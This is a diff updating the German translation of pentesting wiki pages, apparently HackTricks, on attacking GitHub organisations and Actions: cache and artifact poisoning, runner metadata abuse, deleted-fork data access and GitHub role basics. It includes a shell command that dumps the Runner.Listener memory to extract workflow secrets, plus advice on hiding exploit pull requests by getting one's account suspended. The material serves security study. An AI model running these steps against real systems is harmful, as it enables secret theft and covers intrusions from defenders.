 > In diesem Abschnitt werden wir über Techniken sprechen, die es ermöglichen, **von einem Repo zu einem anderen zu pivotieren**, vorausgesetzt, wir haben eine Art von Zugriff auf das erste (siehe den vorherigen Abschnitt).

-### Cache-Poisoning
+### Cache-Vergiftung

-Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** **kompromittiert**, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.
+Ein Cache wird zwischen **Workflow-Ausführungen im selben Branch** aufrechterhalten. Das bedeutet, dass, wenn ein Angreifer ein **Paket** kompromittiert, das dann im Cache gespeichert und von einem **privilegierteren** Workflow **heruntergeladen** und ausgeführt wird, er auch diesen Workflow **kompromittieren** kann.

 {{#ref}}
 gh-actions-cache-poisoning.md
 {{#endref}}

-### Artifact-Poisoning
+### Artefaktvergiftung

-Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action, die ein **Artefakt hochlädt**, zu **kompromittieren**, das später von einem anderen Workflow verwendet wird, könnte er die **anderen Workflows kompromittieren**:
+Workflows könnten **Artefakte von anderen Workflows und sogar Repos** verwenden. Wenn es einem Angreifer gelingt, die Github Action zu **kompromittieren**, die ein **Artefakt hochlädt**, das später von einem anderen Workflow verwendet wird, könnte er **die anderen Workflows kompromittieren**:

 {{#ref}}
 gh-actions-artifact-poisoning.md
@@ -398,7 +398,7 @@ Wenn Sie Inhalte in ein Skript injizieren, ist es interessant zu wissen, wie Sie

 <details>

-<summary>Geheimnisse in der Github Action-Ausgabe auflisten</summary>
+<summary>Liste der Geheimnisse in der Github Action-Ausgabe</summary>
 ```yaml
 name: list_env
 on:
@@ -470,7 +470,7 @@ Der Weg, um herauszufinden, welche **Github Actions in nicht-Github-Infrastruktu

 **Selbst gehostete** Runner könnten Zugang zu **extra sensiblen Informationen**, zu anderen **Netzwerksystemen** (anfällige Endpunkte im Netzwerk? Metadatenservice?) haben oder, selbst wenn sie isoliert und zerstört sind, **könnten mehr als eine Aktion gleichzeitig ausgeführt werden** und die bösartige könnte die **Geheimnisse** der anderen stehlen.

-Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher ausliest:
+Bei selbst gehosteten Runnern ist es auch möglich, die **Geheimnisse aus dem \_Runner.Listener**\_\*\* Prozess\*\* zu erhalten, der alle Geheimnisse der Workflows zu jedem Zeitpunkt enthält, indem man seinen Speicher dumpet:
 ```bash
 sudo apt-get install -y gdb
 sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"
@@ -480,7 +480,7 @@ sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ prin
 ### Github Docker Images Registry

 Es ist möglich, Github-Aktionen zu erstellen, die **ein Docker-Image innerhalb von Github erstellen und speichern**.\
-Ein Beispiel finden Sie im folgenden ausklappbaren Bereich:
+Ein Beispiel finden Sie im folgenden erweiterbaren Abschnitt:

 <details>

@@ -517,7 +517,7 @@ ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ e

 Wie Sie im vorherigen Code sehen konnten, wird das Github-Registry in **`ghcr.io`** gehostet.

-Ein Benutzer mit Lesezugriff auf das Repo kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
+Ein Benutzer mit Lesezugriff auf das Repository kann dann das Docker-Image mit einem persönlichen Zugriffstoken herunterladen:
 ```bash
 echo $gh_token | docker login ghcr.io -u <username> --password-stdin
 docker pull ghcr.io/<org-name>/<repo_name>:<tag>
@@ -534,9 +534,9 @@ Selbst wenn **Github** versucht, **Geheimwerte** in den Aktionsprotokollen zu **

 ## Spuren verwischen

-(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **gesperrt** sind, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto sperren lassen oder Ihr Konto kennzeichnen lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).
+(Technik von [**hier**](https://divyanshu-mehta.gitbook.io/researchs/hijacking-cloud-ci-cd-systems-for-fun-and-profit)) Zunächst einmal ist jeder PR, der erstellt wird, für die Öffentlichkeit in Github und für das Ziel-GitHub-Konto deutlich sichtbar. In GitHub können wir standardmäßig **einen PR nicht aus dem Internet löschen**, aber es gibt einen Haken. Für GitHub-Konten, die von Github **suspendiert** wurden, werden alle ihre **PRs automatisch gelöscht** und aus dem Internet entfernt. Um also Ihre Aktivitäten zu verbergen, müssen Sie entweder Ihr **GitHub-Konto suspendiert bekommen oder Ihr Konto als verdächtig markieren lassen**. Dies würde **alle Ihre Aktivitäten** auf GitHub aus dem Internet verbergen (im Grunde alle Ihre Exploit-PRs entfernen).

-Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden gesperrt wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.
+Eine Organisation in GitHub ist sehr proaktiv darin, Konten an GitHub zu melden. Alles, was Sie tun müssen, ist, „einige Dinge“ in einem Issue zu teilen, und sie werden sicherstellen, dass Ihr Konto in 12 Stunden suspendiert wird :p und da haben Sie es, Ihr Exploit ist auf GitHub unsichtbar gemacht.

 > [!WARNING]
 > Der einzige Weg für eine Organisation herauszufinden, dass sie ins Visier genommen wurde, besteht darin, die GitHub-Protokolle von SIEM zu überprüfen, da der PR aus der GitHub-Benutzeroberfläche entfernt würde.
@@ -6,33 +6,33 @@ Diese Möglichkeiten, auf Daten von Github zuzugreifen, die angeblich gelöscht

 ## Zugriff auf Gelöschte Fork-Daten

-1. Du forkt ein öffentliches Repository.
-2. Du commitest Code zu deinem Fork.
-3. Du löschst deinen Fork.
+1. Sie forken ein öffentliches Repository.
+2. Sie committen Code in Ihren Fork.
+3. Sie löschen Ihren Fork.

 > [!CAUTION]
 > Die in dem gelöschten Fork committen Daten sind weiterhin zugänglich.

 ## Zugriff auf Gelöschte Repo-Daten

-1. Du hast ein öffentliches Repo auf GitHub.
-2. Ein Benutzer forkt dein Repo.
-3. Du commitest Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit deinen Updates).
-4. Du löschst das gesamte Repo.
+1. Sie haben ein öffentliches Repo auf GitHub.
+2. Ein Benutzer forkt Ihr Repo.
+3. Sie committen Daten, nachdem sie es geforkt haben (und sie synchronisieren ihren Fork nie mit Ihren Updates).
+4. Sie löschen das gesamte Repo.

 > [!CAUTION]
-> Selbst wenn du dein Repo gelöscht hast, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.
+> Selbst wenn Sie Ihr Repo gelöscht haben, sind alle Änderungen, die daran vorgenommen wurden, weiterhin über die Forks zugänglich.

 ## Zugriff auf Private Repo-Daten

-1. Du erstellst ein privates Repo, das schließlich öffentlich gemacht wird.
-2. Du erstellst eine private, interne Version dieses Repos (durch Forking) und commitest zusätzlichen Code für Funktionen, die du nicht öffentlich machen möchtest.
-3. Du machst dein „Upstream“-Repository öffentlich und hältst deinen Fork privat.
+1. Sie erstellen ein privates Repo, das schließlich öffentlich gemacht wird.
+2. Sie erstellen eine private, interne Version dieses Repos (durch Forking) und committen zusätzlichen Code für Funktionen, die Sie nicht öffentlich machen möchten.
+3. Sie machen Ihr „Upstream“-Repository öffentlich und halten Ihren Fork privat.

 > [!CAUTION]
 > Es ist möglich, auf alle Daten zuzugreifen, die in den internen Fork gepusht wurden, in der Zeit zwischen der Erstellung des internen Forks und der Veröffentlichung der öffentlichen Version.

-## Wie man Commits von gelöschten/verborgenen Forks entdeckt
+## So entdecken Sie Commits von gelöschten/verborgenen Forks

 Der gleiche Blogbeitrag schlägt 2 Optionen vor:

@@ -16,19 +16,19 @@ Und schließlich können **Repositories spezielle Schutzmechanismen** haben.

 ### Unternehmensrollen

- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zum Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
- **Unternehmensmitglieder**: Mitglieder von Organisationen, die von Ihrem Unternehmen besessen werden, sind ebenfalls **automatisch Mitglieder des Unternehmens**.
+- **Unternehmensinhaber**: Personen mit dieser Rolle können **Administratoren verwalten, Organisationen innerhalb des Unternehmens verwalten, Unternehmenseinstellungen verwalten, Richtlinien über Organisationen hinweg durchsetzen**. Sie **können jedoch nicht auf die Einstellungen oder Inhalte der Organisation zugreifen**, es sei denn, sie werden zu einem Organisationsinhaber ernannt oder erhalten direkten Zugriff auf ein von der Organisation besessenes Repository.
+- **Unternehmensmitglieder**: Mitglieder von Organisationen, die Ihrem Unternehmen gehören, sind ebenfalls **automatisch Mitglieder des Unternehmens**.

 ### Organisationsrollen

 In einer Organisation können Benutzer verschiedene Rollen haben:

- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch auf nicht weniger als zwei Personen in Ihrer Organisation.
+- **Organisationsinhaber**: Organisationsinhaber haben **vollständigen administrativen Zugriff auf Ihre Organisation**. Diese Rolle sollte begrenzt sein, jedoch nicht auf weniger als zwei Personen in Ihrer Organisation.
 - **Organisationsmitglieder**: Die **Standard**-Nicht-Administrationsrolle für **Personen in einer Organisation** ist das Organisationsmitglied. Standardmäßig haben Organisationsmitglieder **eine Reihe von Berechtigungen**.
 - **Abrechnungsmanager**: Abrechnungsmanager sind Benutzer, die **die Abrechnungseinstellungen für Ihre Organisation verwalten** können, wie z. B. Zahlungsinformationen.
 - **Sicherheitsmanager**: Es ist eine Rolle, die Organisationsinhaber einem Team in einer Organisation zuweisen können. Wenn sie angewendet wird, gibt sie jedem Mitglied des Teams Berechtigungen, um **Sicherheitswarnungen und -einstellungen in Ihrer Organisation zu verwalten sowie Lesezugriff auf alle Repositories** in der Organisation zu haben.
 - Wenn Ihre Organisation ein Sicherheitsteam hat, können Sie die Rolle des Sicherheitsmanagers verwenden, um den Mitgliedern des Teams den minimalen Zugriff zu gewähren, den sie für die Organisation benötigen.
- **Github-App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die von einer Organisation besessen werden**, kann ein Eigentümer ihnen Berechtigungen als GitHub-App-Manager gewähren.
+- **Github App-Manager**: Um zusätzlichen Benutzern zu ermöglichen, **GitHub-Apps zu verwalten, die einer Organisation gehören**, kann ein Inhaber ihnen Berechtigungen als GitHub App-Manager gewähren.
 - **Externe Mitarbeiter**: Ein externer Mitarbeiter ist eine Person, die **Zugriff auf eines oder mehrere Repositories der Organisation hat, aber nicht ausdrücklich Mitglied** der Organisation ist.

 Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
@@ -37,9 +37,9 @@ Sie können **die Berechtigungen** dieser Rollen in dieser Tabelle vergleichen:

 In _https://github.com/organizations/\<org_name>/settings/member_privileges_ können Sie die **Berechtigungen sehen, die Benutzer nur durch ihre Mitgliedschaft in der Organisation haben**.

-Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen der Mitglieder der Organisation an:
+Die hier konfigurierten Einstellungen geben die folgenden Berechtigungen für Mitglieder der Organisation an:

- Administrator, Autor, Leser oder keine Berechtigung für alle Repositories der Organisation sein.
+- Admin, Autor, Leser oder keine Berechtigung für alle Repos der Organisation.
 - Ob Mitglieder private, interne oder öffentliche Repositories erstellen können.
 - Ob das Forken von Repositories möglich ist.
 - Ob externe Mitarbeiter eingeladen werden können.
@@ -54,12 +54,12 @@ Standardmäßig werden Repository-Rollen erstellt:
 - **Lesen**: Empfohlen für **Nicht-Code-Beitragsleistende**, die Ihr Projekt ansehen oder diskutieren möchten.
 - **Triage**: Empfohlen für **Beitragsleistende, die Probleme und Pull-Requests proaktiv verwalten müssen**, ohne Schreibzugriff zu haben.
 - **Schreiben**: Empfohlen für Beitragsleistende, die **aktiv zu Ihrem Projekt beitragen**.
- **Wartung**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
+- **Verwalten**: Empfohlen für **Projektmanager, die das Repository verwalten müssen**, ohne Zugriff auf sensible oder destruktive Aktionen zu haben.
 - **Admin**: Empfohlen für Personen, die **vollständigen Zugriff auf das Projekt** benötigen, einschließlich sensibler und destruktiver Aktionen wie das Verwalten von Sicherheit oder das Löschen eines Repositories.

-Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
+Sie können **die Berechtigungen** jeder Rolle in dieser Tabelle vergleichen: [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)

-Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\<org_name>/settings/roles_
+Sie können auch **Ihre eigenen Rollen erstellen** in _https://github.com/organizations/\<org_name>/settings/roles_.

 ### Teams

@@ -69,7 +69,7 @@ Sie können **die in einer Organisation erstellten Teams auflisten** in _https:/

 Die Benutzer einer Organisation können in _https://github.com/orgs/\<org_name>/people_ **aufgelistet** werden.

-In den Informationen jedes Benutzers können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.
+In den Informationen zu jedem Benutzer können Sie die **Teams sehen, in denen der Benutzer Mitglied ist**, und die **Repos, auf die der Benutzer Zugriff hat**.

 ## Github-Authentifizierung

@@ -81,7 +81,7 @@ Durch den Zugriff auf **github.com** können Sie sich mit Ihrem **Benutzernamen

 ### **SSH-Schlüssel**

-Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen.** [https://github.com/settings/keys](https://github.com/settings/keys)
+Sie können Ihr Konto mit einem oder mehreren öffentlichen Schlüsseln konfigurieren, die es dem zugehörigen **privaten Schlüssel ermöglichen, Aktionen in Ihrem Namen auszuführen**. [https://github.com/settings/keys](https://github.com/settings/keys)

 #### **GPG-Schlüssel**

@@ -93,19 +93,19 @@ Sie können persönliche Zugriffstoken generieren, um **einer Anwendung Zugriff

 ### Oauth-Anwendungen

-Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Login mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.
+Oauth-Anwendungen können Sie um Berechtigungen **bitten, um auf Teile Ihrer Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um einige Aktionen auszuführen. Ein häufiges Beispiel für diese Funktionalität ist die **Anmeldung mit Github-Schaltfläche**, die Sie möglicherweise auf einigen Plattformen finden.

- Sie können **Ihre eigenen Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) erstellen.
+- Sie können Ihre eigenen **Oauth-Anwendungen** in [https://github.com/settings/developers](https://github.com/settings/developers) **erstellen**.
 - Sie können alle **Oauth-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/applications](https://github.com/settings/applications).
 - Sie können die **Scopes sehen, die Oauth-Apps anfordern können** in [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps).
- Sie können den Zugriff von Drittanwendungen auf Anwendungen in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sehen.
+- Sie können den Zugriff von Drittanwendungen in einer **Organisation** in _https://github.com/organizations/\<org_name>/settings/oauth_application_policy_ sehen.

 Einige **Sicherheitsempfehlungen**:

- Eine **OAuth-App** sollte immer **als authentifizierter GitHub-Benutzer über das gesamte GitHub** hinweg agieren (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem ein "Login mit GitHub" für den authentifizierten Benutzer aktiviert wird.
- **Bauen Sie keine OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf \_allen**\_\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
- **Bauen Sie keine OAuth-App**, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
+- Eine **OAuth-App** sollte immer **als der authentifizierte GitHub-Benutzer über das gesamte GitHub hinweg agieren** (zum Beispiel, wenn Benutzerbenachrichtigungen bereitgestellt werden) und nur Zugriff auf die angegebenen Scopes haben.
+- Eine OAuth-App kann als Identitätsanbieter verwendet werden, indem eine "Anmeldung mit GitHub" für den authentifizierten Benutzer aktiviert wird.
+- **Bauen Sie keine** **OAuth-App**, wenn Sie möchten, dass Ihre Anwendung auf ein **einzelnes Repository** zugreift. Mit dem `repo` OAuth-Scope können OAuth-Apps **auf _allen_**\*\* Repositories des authentifizierten Benutzers zugreifen\*\*.
+- **Bauen Sie keine** OAuth-App, um als Anwendung für Ihr **Team oder Unternehmen** zu agieren. OAuth-Apps authentifizieren sich als **einzelner Benutzer**, sodass, wenn eine Person eine OAuth-App für ein Unternehmen erstellt, und dann das Unternehmen verlässt, niemand sonst Zugriff darauf hat.
 - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps).

 ### Github-Anwendungen
@@ -113,7 +113,7 @@ Einige **Sicherheitsempfehlungen**:
 Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Informationen zuzugreifen oder Sie zu impersonifizieren**, um spezifische Aktionen über spezifische Ressourcen auszuführen. In Github-Apps müssen Sie die Repositories angeben, auf die die App Zugriff haben wird.

 - Um eine GitHub-App zu installieren, müssen Sie **Organisationsinhaber oder über Administratorberechtigungen** in einem Repository verfügen.
- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
+- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
 - Sie können Ihre eigene Github-Anwendung in [https://github.com/settings/apps](https://github.com/settings/apps) erstellen.
 - Sie können alle **Github-Anwendungen sehen, die Zugriff auf Ihr Konto haben** in [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations).
 - Dies sind die **API-Endpunkte für Github-Anwendungen** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps). Je nach den Berechtigungen der App kann sie auf einige von ihnen zugreifen.
@@ -122,12 +122,12 @@ Github-Anwendungen können um Berechtigungen bitten, um **auf Ihre Github-Inform
 Einige Sicherheitsempfehlungen:

 - Eine GitHub-App sollte **unabhängig von einem Benutzer handeln** (es sei denn, die App verwendet ein [User-to-Server](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) Token). Um die Sicherheit von User-to-Server-Zugriffstoken zu erhöhen, können Sie Zugriffstoken verwenden, die nach 8 Stunden ablaufen, und ein Refresh-Token, das gegen ein neues Zugriffstoken eingetauscht werden kann. Weitere Informationen finden Sie unter "[Aktualisieren von User-to-Server-Zugriffstoken](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)."
- Stellen Sie sicher, dass die GitHub-App mit **bestimmten Repositories** integriert ist.
- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation** verbunden sein.
+- Stellen Sie sicher, dass die GitHub-App mit **spezifischen Repositories** integriert ist.
+- Die GitHub-App sollte **mit einem persönlichen Konto oder einer Organisation verbunden sein**.
 - Erwarten Sie nicht, dass die GitHub-App alles weiß und tut, was ein Benutzer kann.
- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer einzuloggen _und_ andere Dinge zu tun.
+- **Verwenden Sie keine GitHub-App, wenn Sie nur einen "Login mit GitHub"-Dienst benötigen**. Aber eine GitHub-App kann einen [Benutzeridentifikationsfluss](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) verwenden, um Benutzer anzumelden _und_ andere Dinge zu tun.
 - Bauen Sie keine GitHub-App, wenn Sie _nur_ als GitHub-Benutzer agieren und alles tun möchten, was dieser Benutzer tun kann.
- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen von Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
+- Wenn Sie Ihre App mit GitHub Actions verwenden und Workflow-Dateien ändern möchten, müssen Sie sich im Namen des Benutzers mit einem OAuth-Token authentifizieren, das den `workflow`-Scope enthält. Der Benutzer muss über Administrator- oder Schreibberechtigungen für das Repository verfügen, das die Workflow-Datei enthält. Weitere Informationen finden Sie unter "[Verstehen der Scopes für OAuth-Apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)."
 - **Mehr** dazu [hier](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps).

 ### Github Actions
@@ -144,7 +144,7 @@ In _https://github.com/organizations/\<org_name>/settings/actions_ ist es mögli

 Es ist möglich, die Verwendung von Github-Aktionen vollständig zu verbieten, **alle Github-Aktionen zuzulassen** oder nur bestimmte Aktionen zuzulassen.

-Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen**, und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.
+Es ist auch möglich zu konfigurieren, **wer die Genehmigung benötigt, um eine Github-Aktion auszuführen** und die **Berechtigungen des GITHUB_TOKEN** einer Github-Aktion, wenn sie ausgeführt wird.

 ### Git-Geheimnisse

@@ -168,77 +168,77 @@ run: |
 example-command "$SUPER_SECRET"
 ```
 > [!WARNING]
-> Secrets **können nur von den Github Actions** zugegriffen werden, die sie deklariert haben.
+> Geheimnisse **können nur von den Github Actions** abgerufen werden, die sie deklariert haben.

-> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Nutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.
+> Sobald sie im Repo oder in den Organisationen konfiguriert sind, **werden die Benutzer von Github nicht mehr darauf zugreifen können**, sie können sie nur **ändern**.

-Daher ist der **einzige Weg, Github-Secrets zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Secrets zugreifen).
+Daher ist der **einzige Weg, Github-Geheimnisse zu stehlen, Zugriff auf die Maschine zu haben, die die Github Action ausführt** (in diesem Szenario können Sie nur auf die für die Action deklarierten Geheimnisse zugreifen).

 ### Git-Umgebungen

-Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Secrets** speichern können. Dann können Sie der Github Action Zugriff auf die Secrets innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
+Github ermöglicht es, **Umgebungen** zu erstellen, in denen Sie **Geheimnisse** speichern können. Dann können Sie der Github Action Zugriff auf die Geheimnisse innerhalb der Umgebung gewähren, indem Sie etwas wie Folgendes verwenden:
 ```yaml
 jobs:
 deployment:
 runs-on: ubuntu-latest
 environment: env_name
 ```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+Sie können eine Umgebung so konfigurieren, dass sie **von allen Branches** (Standard), **nur von geschützten** Branches oder **bestimmten** Branches, die darauf zugreifen können, **zugänglich** ist.\
+Es kann auch eine **Anzahl erforderlicher Überprüfungen** festgelegt werden, bevor eine **Aktion** unter Verwendung einer **Umgebung** **ausgeführt** wird, oder es kann einige **Zeit** gewartet werden, bevor die Bereitstellungen fortgesetzt werden.

 ### Git Action Runner

-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+Eine Github-Aktion kann **innerhalb der Github-Umgebung ausgeführt** oder in einer **drittanbieter Infrastruktur**, die vom Benutzer konfiguriert wurde, ausgeführt werden.

-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+Mehrere Organisationen erlauben es, Github-Aktionen in einer **drittanbieter Infrastruktur** auszuführen, da dies in der Regel **günstiger** ist.

-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\<org_name>/settings/actions/runners_
+Sie können die **selbst gehosteten Runner** einer Organisation unter _https://github.com/organizations/\<org_name>/settings/actions/runners_ auflisten.

-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+Der Weg, um herauszufinden, welche **Github-Aktionen in nicht-Github-Infrastrukturen ausgeführt werden**, besteht darin, nach `runs-on: self-hosted` in der Github-Aktionskonfigurations-yaml zu suchen.

-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+Es ist **nicht möglich, eine Github-Aktion einer Organisation innerhalb einer selbst gehosteten Box** einer anderen Organisation auszuführen, da **ein einzigartiges Token für den Runner generiert wird**, wenn er konfiguriert wird, um zu wissen, zu welcher Organisation der Runner gehört.

-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+Wenn der benutzerdefinierte **Github Runner auf einer Maschine innerhalb von AWS oder GCP** konfiguriert ist, könnte die Aktion **Zugriff auf den Metadaten-Endpunkt haben** und **das Token des Dienstkontos stehlen**, mit dem die Maschine betrieben wird.

-### Git Action Compromise
+### Git Action Kompromittierung

-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+Wenn alle Aktionen (oder eine bösartige Aktion) erlaubt sind, könnte ein Benutzer eine **Github-Aktion** verwenden, die **bösartig** ist und den **Container** kompromittiert, in dem sie ausgeführt wird.

 > [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> Eine **bösartige Github-Aktion** könnte vom Angreifer **missbraucht** werden, um:
 >
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **Alle Geheimnisse zu stehlen**, auf die die Aktion Zugriff hat
+> - **Laterale Bewegungen** durchzuführen, wenn die Aktion in einer **drittanbieter Infrastruktur** ausgeführt wird, wo das SA-Token, das zum Ausführen der Maschine verwendet wird, abgerufen werden kann (wahrscheinlich über den Metadatenservice)
+> - **Das Token** zu **missbrauchen**, das vom **Workflow** verwendet wird, um **den Code des Repos zu stehlen**, in dem die Aktion ausgeführt wird, oder **sogar zu modifizieren**.

-## Branch Protections
+## Branch-Schutz

-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Branch-Schutzmaßnahmen sind so konzipiert, dass sie **nicht die vollständige Kontrolle über ein Repository** an die Benutzer geben. Das Ziel ist es, **mehrere Schutzmethoden zu implementieren, bevor man in einem bestimmten Branch Code schreiben kann**.

-The **branch protections of a repository** can be found in _https://github.com/\<orgname>/\<reponame>/settings/branches_
+Die **Branch-Schutzmaßnahmen eines Repositories** finden Sie unter _https://github.com/\<orgname>/\<reponame>/settings/branches_.

 > [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> Es ist **nicht möglich, einen Branch-Schutz auf Organisationsebene festzulegen**. Daher müssen alle in jedem Repo deklariert werden.

-Different protections can be applied to a branch (like to master):
